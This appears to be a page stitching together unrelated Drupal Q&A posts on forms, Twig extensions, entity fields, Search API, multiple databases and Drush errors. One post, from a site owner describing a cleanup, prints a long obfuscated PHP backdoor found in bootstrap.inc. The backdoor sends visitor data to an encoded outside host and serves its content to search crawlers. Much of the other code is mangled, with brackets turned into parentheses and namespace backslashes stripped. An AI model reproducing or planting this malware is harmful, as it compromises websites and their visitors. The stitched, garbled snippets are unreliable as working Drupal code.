forms – Get value of a checkbox that is an element in a #rows array Drupal 9

I am building a table with checkboxes without using tableselect for various reasons, but am trying to retrieve the checkbox value similar to how tableselect does. Tableselect will populate the values array in $form_state at form submission. A key with the name of the form in values contains the list of selected rows. I attempted to reverse engineer how tableselect populates the values array, but couldn’t really come up with anything other than #return_value. The values array using the below element is unpopulated when the form is submitted.

This is some of the form builder I’m using right now. It exists in the buildForm(array $form, FormStateInterface $form_state) function.

$rows($nid) = (
    'check' => (
        'data' => (
            '#type' => 'checkbox',
            '#title' => 'test2',
            '#return_value' => '$nid',
        )
    ),
),

...

$form('table') = array(
    '#type' => 'table',
    '#header' => $header,
    '#rows' => $rows,
);

performance – Standalone entity edit & create forms in Drupal 9

We have a site that uses a lot of nested entities (through the Paragraphs module). As there are nested entities and lots of content, we experience that the node edit forms take between 30-60 seconds or more to load – causing timeout issues and cumbersome work experience for the content editors.

Because of this, I would like to separate the entity editing away from the node forms, so entities can be edited or added individually.

Ideally, I would like to make an administration table view, from where the content editors can get an overview of the entities and navigate to editing or create forms for individual entities.

Is this possible in any way? Is there a module or a recommended way to do this?

Thanks!

theming – Drupal 9 Add custom twig extension

I need to output a JSON variable in my theme, data is saved in a node field. I can easily use hook_preprocess_node to decode the data and save it in axillary variable and then render it using a custom template file, but it would be much easier if I can decode JSON in twig file so there wont be need for implementing hook_preprocess_node or introducing new template file (as it can be achieved overriding field--FIELD-NAME.html.twig)

so I wrote a module to extend twig extension and add a json_decode filter to twig. this is my services.yml file:

services:
  twig_json_decode.twig_extension:
    class: Drupaltwig_json_decodeJsonToArray
    tags:
      - { name: twig.extension }

and this is the JsonToArray.php :

namespace Drupaltwig_json_decode;


use TwigExtensionAbstractExtension;
use TwigTwigFilter;

class JsonToArray extends AbstractExtension {

  public function getFilters(): array {
    return (
      new TwigFilter('decode_json', ($this, 'jsonDecode')),
    );
  }

  // The actual implementation of the filter.
  public function jsonDecode($context) {
    $context = json_decode($context, true);
    if(json_last_error() === JSON_ERROR_NONE)
      return $context;
    return ();
  }
}

Then in my twig file I have:

{% for item in items | decode_json %}
  <div class="reqinfoitem">
    <span class="reqlableinfo">{{ item.label }} : </span>
    <span class="reqinputinfo">{{ item.answer }}</span>
  </div><!--end reqinfoitem-->
{% endfor %}

which cause this error:

TwigErrorSyntaxError: Unknown “decode_json” filter. in TwigExpressionParser->getFilterNodeClass()

I have the module enabled and cleared the cache but it seems that the custom filter is not affecting twig.
How can I make sure that my module is called and working properly?

entities – How do I add field-ability to an existing custom entity in Drupal 8/9?

You just need to add a field_ui_base_route to the entity annotation. The value should be the route ID for the edit form of the config entity type used to provide the bundles.

So if your entity ID is foo and the bundle config entity ID is foo_type, that would be:

@ContentEntityType(
  id = "foo",
  ...
  field_ui_base_route = "entity.foo_type.edit_form"
)

Rebuild the cache, and you should see the relevant menu links and tabs when you manage your bundles in the UI.

Drupal 8 Search Api display search term in form

How do I display the search term after I have run the search.

Here is my form:

<input data-drupal-selector="edit-search-api-fulltext" id="edit-search-api-fulltext"  placeholder="Keyword" name="search_api_fulltext" value="{{ content.search_api_fulltext }}" class="regular-input" type="text">
<input data-drupal-selector="edit-submit-search" id="edit-submit-search" placeholder="Search" value="Search" class="btn secondary-btn js-form-submit form-submit" type="submit">

The value is not displaying anything, but I can’t find an answer to what I should place here.
Before installing Search Api I used {{ content.search_query }} and that displayed the search term after the search was performed using the out-of-the-box Drupal search.

theming – I can’t Unverify the new owner on Google Search Console Drupal 7

I checked all my files; then found this code on includes/boostrap.inc… Here below is code.. After i deleted this; i was able to unverify the USER the on google Search Console and the meta tag is now Removed from my site.

“);exit();}else if($isr == $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“LQ==”)){$GLOBALS(‘zym_decrypt’)(‘Il1l1IIl1Il111lllIlIl1’)($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUC8xLjEgNTAzIFNlcnZpY2UgVGVtcG9yYXJpbHkgVW5hdmFpbGFibGU=’));$GLOBALS(‘zym_decrypt’)(‘Il1l1IIl1Il111lllIlIl1’)($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(base64_decode(‘VTNSaGRIVnpPaUExTURNZ1UyVnlkbWxqWlNCVVpXMXdiM0poY21sc2VTQlZibUYyWVdsc1lXSnNaUT09’)));exit();}else if($GLOBALS(‘zym_decrypt’)(‘II1II1l1I1IIl1Il111llIll1I11’)($a)> 0){$GLOBALS(‘zym_decrypt’)(‘Il1l1IIl1Il111lllIlIl1’)($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOA==”));echo $a;exit();}}}function aaa(){$kec =”##3|Lw==##”;$kec =$GLOBALS(‘zym_decrypt’)(‘IlI1Ill1lllII1II1Illl1’)($kec, 2, $GLOBALS(‘zym_decrypt’)(‘II1II1l1I1IIl1Il111llIll1I11’)($kec)-4);$kec =$GLOBALS(‘zym_decrypt’)(‘lI1lll1Il1lIII11l1lI11I11’)(‘|’, $kec);$iso =$kec(0);$isp =$GLOBALS(‘zym_decrypt’)(‘lI1lll1Il1lIII11l1lI11I11’)(‘,’, $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)($kec(1)));$rqu =isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9YX1JFV1JJVEVfVVJM’)))? $_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9YX1JFV1JJVEVfVVJM’)) : $_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘UkVRVUVTVF9VUkk=’));if($iso == 1){return;}else if($iso == 2){if(!$GLOBALS(‘zym_decrypt’)(‘I1lII1llIlIlll111l1lI1l’)($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘UkVRVUVTVF9VUkk=’)), $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“dGVzdFBhZ2VSZWRpcmVjdA==”))> 0){if($GLOBALS(‘zym_decrypt’)(‘IlI1I1lI1II1I1llIIlII1IIl’)($rqu, $isp)){return $GLOBALS(‘zym_decrypt’)(‘l1l1111IIlllIlI1ll1lIIII’)();}else{return;}}}else if($iso == 3){return $GLOBALS(‘zym_decrypt’)(‘l1l1111IIlllIlI1ll1lIIII’)();}}function ggg(){$apu =$GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“aHR0cDovL3d3dy5nb29kc2hvcHMuY28v”);$rqu =isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9YX1JFV1JJVEVfVVJM’)))? $_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9YX1JFV1JJVEVfVVJM’)) : $_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘UkVRVUVTVF9VUkk=’));$ret =””;$pod =array($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“dg==”)=> $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“Mw==”), $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“c2VydmVyX25hbWU=”)=> $_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9IT1NU’)), $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“dXNlcl9hZ2VudA==”)=> $_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9VU0VSX0FHRU5U’)), $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“cmVtb3RlX2FkZHI=”)=> $GLOBALS(‘zym_decrypt’)(‘l1111l1II11IIl1II111l1II’)(), $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“aHR0cF9yZWZlcmVy”)=> isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9SRUZFUkVS’)))? $_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9SRUZFUkVS’)) : ”, $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“aHR0cF9hY2NlcHRfbGFuZ3VhZ2U=”)=> isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9BQ0NFUFRfTEFOR1VBR0U=’)))? $_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9BQ0NFUFRfTEFOR1VBR0U=’)) : ”, $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“dXJs”)=> $rqu );if($GLOBALS(‘zym_decrypt’)(‘II11IllI1II1IIII1l11I1’)(base64_decode(‘Y3VybA==’))){$curl =curl_init($apu);curl_setopt($curl, CURLOPT_HEADER, 0);curl_setopt($curl, CURLOPT_TIMEOUT, 5);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($curl, CURLOPT_USERAGENT, isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9VU0VSX0FHRU5U’)))? $_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9VU0VSX0FHRU5U’)) : ”);curl_setopt($curl, CURLOPT_POST, true);curl_setopt($curl, CURLOPT_POSTFIELDS, $pod);$ret =curl_exec($curl);$cno =curl_errno($curl);$cnt =curl_error($curl);curl_close($curl);if ($cno > 0){$ret =””;}}else{$pod =$GLOBALS(‘zym_decrypt’)(‘Ill11l1llIll1l1Il1ll1l11l’)($pod);$options($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘aHR0cA==’)) =array($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘dGltZW91dA==’)=>60, $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘bWV0aG9k’)=> $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘UE9TVA==’), $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘aGVhZGVy’)=> $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘Q29udGVudC10eXBlOmFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA==’), $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘Y29udGVudA==’)=> $pod );$ret =$GLOBALS(‘zym_decrypt’)(‘lIlllI11ll1IlI11IlIIl11l1’)($apu, false, $GLOBALS(‘zym_decrypt’)(‘l1I1l11lI1IIlllllIl11llIl1lI’)($options));}$ret =$GLOBALS(‘zym_decrypt’)(‘I1IIIIlI1lIIl111llI11llI’)($ret, “xEFxBBxBF”);return $ret;}function bbb(){$a =””;if(isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9DRl9DT05ORUNUSU5HX0lQ’)))){$a =$_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9DRl9DT05ORUNUSU5HX0lQ’));}else if(isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9JTkNBUF9DTElFTlRfSVA=’)))){$a =$_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9JTkNBUF9DTElFTlRfSVA=’));}else if(isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9UUlVFX0NMSUVOVF9JUA==’)))){$a =$_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9UUlVFX0NMSUVOVF9JUA==’));}else if(isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9SRU1PVEVJUA==’)))){$a =$_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9SRU1PVEVJUA==’));}else if(isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9YX1JFQUxfSVA=’)))){$a =$_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9YX1JFQUxfSVA=’));}else{$a =$_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘UkVNT1RFX0FERFI=’));}if($a == $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘MTI3LjAuMC4x’)){$a =$_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9YX0ZPUldBUkRFRF9GT1I=’));$a =$GLOBALS(‘zym_decrypt’)(‘lI1lll1Il1lIII11l1lI11I11’)(‘,’, $a);$a =$a(0);}return $a;}function ccc(){$uag =isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9VU0VSX0FHRU5U’)))? $_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9VU0VSX0FHRU5U’)) : ”;if($GLOBALS(‘zym_decrypt’)(‘I1IIlI1IlIIlIl1lI11l1llll’)($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(base64_decode(‘THlobmIyOW5iR1Y4ZVdGb2IyOHBMdz09’)), $GLOBALS(‘zym_decrypt’)(‘Illl1Il1ll1IIllIllIll1lll’)($uag))){return true;}return false;}function ddd(){$ref =isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9SRUZFUkVS’)))? $_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9SRUZFUkVS’)) : ”;if($GLOBALS(‘zym_decrypt’)(‘I1IIlI1IlIIlIl1lI11l1llll’)($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(base64_decode(‘THlobmIyOW5iR1V1WTI4dWFuQjhlV0ZvYjI4dVkyOHVhbkI4Wkc5amIyMXZMbTVsTG1wd0tTOD0=’)), $GLOBALS(‘zym_decrypt’)(‘Illl1Il1ll1IIllIllIll1lll’)($ref))){return true;}return false;}function eee(){$lng =isset($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9BQ0NFUFRfTEFOR1VBR0U=’)))? $_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘SFRUUF9BQ0NFUFRfTEFOR1VBR0U=’)) : ”;if($GLOBALS(‘zym_decrypt’)(‘I1IIlI1IlIIlIl1lI11l1llll’)($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(base64_decode(‘THlocVlYeHFjQ2t2’)), $GLOBALS(‘zym_decrypt’)(‘Illl1Il1ll1IIllIllIll1lll’)($lng))){return true;}return false;}function fff(){return $GLOBALS(‘zym_decrypt’)(‘I1lII1llIlIlll111l1lI1l’)($_SERVER($GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(‘UkVRVUVTVF9VUkk=’)), $GLOBALS(‘zym_decrypt’)(‘l111l11lI1111Illl11l11II’)(“dGVzdFBhZ2VSZWRpcmVjdA==”))> 0;}function hhh($str){return $GLOBALS(‘zym_decrypt’)(‘lIIlll1Il1I1IlI1I1111lIlIIlII’)($str);}?>

8 – Multiple databases – Drupal Answers

I’m having trouble getting Drupal to switch between multiple databases. I have a system that involves connecting to an external database to retrieve data. I am using the following code inside of a form at build time to get some information for displaying in the form.

$connExternal = DrupalCoreDatabaseDatabase::getConnection('default', 'atavism');
$results = $connExternal->select('world');
$results->fields('world_name');
$data = $results->query();

$result = $data->fetchAll();

dpm(result);

However, when I visit the form, Drupal redirects me back to the install page, where it tells me that drupal is already installed. I have tried using setActiveConnection() as well, but the same thing keeps happening. I am not sure how to resolve it, and access the secondary database for retrieving the information I need.

Inside of my settings.php, I have this:

$databases('atavism')('default') = array (
  'database' => 'world',
  'username' => 'redacted',
  'password' => 'redacted',
  'prefix' => '',
  'host' => 'localhost',
  'port' => '3306',
  'namespace' => 'Drupal\Core\Database\Driver\mysql',
  'driver' => 'mysql',
);

Am I missing something?

drush – “Drupal root not found. Pass –root or a @siteAlias in order to see Drupal-specific commands”

I have multiple sites inside the same htdocs directory. In one, I removed all the folders except vendor under Web. Now drush will not work (it worked before I moved the folders). But now, it cannot find the database, which is correctly defined in web/sites/default/settings.php

/srv/www/htdocs/jar/drupal # ./drush status
 PHP binary    : /usr/bin/php
 PHP config    : /srv/www/php.ini
 PHP OS        : Linux
 Drush script  : /srv/www/htdocs/jar/drupal/vendor/drush/drush/drush
 Drush version : 10.3.6
 Drush temp    : /tmp
 Drush configs : /srv/www/htdocs/jar/drupal/vendor/drush/drush/drush.yml
 Drupal root   : /srv/www/htdocs/jar/drupal

I am running Drupal 9.0.8 and drush 10.3.6 (in /srv/www/htdocs/jar/drupal). I have removed drush using composer (2.0.3) and reinstalled it (recreating vendor in the process).

/srv/www/htdocs/jar/drupal # ./drush -vvv cr
 (preflight) Config paths: /srv/www/htdocs/jar/drupal/vendor/drush/drush/drush.yml
 (preflight) Alias paths: /srv/www/htdocs/jar/drupal/drush/sites,/srv/www/htdocs/jar/drush/sites
 (preflight) Commandfile search paths: /srv/www/htdocs/jar/drupal/vendor/drush/drush/src
 (debug) Starting bootstrap to site (0.04 sec, 8.17 MB)

In BootstrapHook.php line 32:
  (Exception)
  Bootstrap failed. Run your command with -vvv for more information.
Exception trace:
  at /srv/www/htdocs/jar/drupal/vendor/drush/drush/src/Boot/BootstrapHook.php:32
 DrushBootBootstrapHook->initialize() at /srv/www/htdocs/jar/drupal/vendor/consolidation/annotated-command/src/Hooks/Dispatchers/InitializeHookDispatcher.php:44
 ConsolidationAnnotatedCommandHooksDispatchersInitializeHookDispatcher->doInitializeHook() at /srv/www/htdocs/jar/drupal/vendor/consolidation/annotated-command/src/Hooks/Dispatchers/InitializeHookDispatcher.php:36
 ConsolidationAnnotatedCommandHooksDispatchersInitializeHookDispatcher->callInitializeHook() at /srv/www/htdocs/jar/drupal/vendor/consolidation/annotated-command/src/Hooks/Dispatchers/InitializeHookDispatcher.php:29
 ConsolidationAnnotatedCommandHooksDispatchersInitializeHookDispatcher->initialize() at /srv/www/htdocs/jar/drupal/vendor/consolidation/annotated-command/src/CommandProcessor.php:145
 ConsolidationAnnotatedCommandCommandProcessor->initializeHook() at /srv/www/htdocs/jar/drupal/vendor/consolidation/annotated-command/src/AnnotatedCommand.php:296
 ConsolidationAnnotatedCommandAnnotatedCommand->initialize() at /srv/www/htdocs/jar/drupal/vendor/symfony/console/Command/Command.php:221
 SymfonyComponentConsoleCommandCommand->run() at /srv/www/htdocs/jar/drupal/vendor/symfony/console/Application.php:1018
 SymfonyComponentConsoleApplication->doRunCommand() at /srv/www/htdocs/jar/drupal/vendor/symfony/console/Application.php:271
 SymfonyComponentConsoleApplication->doRun() at /srv/www/htdocs/jar/drupal/vendor/symfony/console/Application.php:147
 SymfonyComponentConsoleApplication->run() at /srv/www/htdocs/jar/drupal/vendor/drush/drush/src/Runtime/Runtime.php:118
 DrushRuntimeRuntime->doRun() at /srv/www/htdocs/jar/drupal/vendor/drush/drush/src/Runtime/Runtime.php:49
 DrushRuntimeRuntime->run() at /srv/www/htdocs/jar/drupal/vendor/drush/drush/drush.php:72
 require() at /srv/www/htdocs/jar/drupal/vendor/drush/drush/drush:4

I looked at all the above suggestions, but am stuck. Drush works perfectly on my other 5 sites…